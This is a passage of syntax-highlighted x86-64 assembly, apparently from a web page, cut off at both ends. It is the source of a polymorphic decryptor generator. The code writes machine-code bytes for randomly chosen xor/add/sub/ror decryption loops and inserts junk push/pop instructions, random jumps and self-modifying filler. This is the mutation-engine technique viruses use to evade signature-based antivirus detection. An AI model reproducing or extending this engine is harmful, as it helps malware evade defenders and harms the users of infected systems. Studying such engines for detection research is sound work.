    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_2:&lt;/span&gt;
    &lt;span class="c1"&gt;; sub/ror/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_sub_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_ror_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor/add/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_add_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;

&lt;span class="nl"&gt;.gen_loop_end:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ADD_REG_IMM8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; generate DEC instruction&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.dec_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.wb for r8-r15&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.dec_encode&lt;/span&gt;
&lt;span class="nl"&gt;.dec_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w for rax-rdi&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nl"&gt;.dec_encode:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;xchg&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;TEST_REG_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JNZ_LONG&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;neg&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; algorithm generators&lt;/span&gt;
&lt;span class="nl"&gt;gen_add_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ADD_MEM_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_sub_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x29&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_xor_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XOR_MEM_REG&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_rol_mem_16:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ROL_MEM_IMM&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_ror_mem_16:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; basic junk&lt;/span&gt;
&lt;span class="nl"&gt;trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_push_pop&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;            &lt;span class="c1"&gt;; push/pop junk&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.push_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nl"&gt;.push_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.pop_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nl"&gt;.pop_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
&lt;span class="nl"&gt;.skip_push_pop:&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; jumps&lt;/span&gt;
&lt;span class="nl"&gt;gen_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.short_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.jmp_exit&lt;/span&gt;
&lt;span class="nl"&gt;.short_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_SHORT&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
&lt;span class="nl"&gt;.jmp_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; self-modifying junk&lt;/span&gt;
&lt;span class="nl"&gt;gen_self:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JMP_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;POP_REG&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
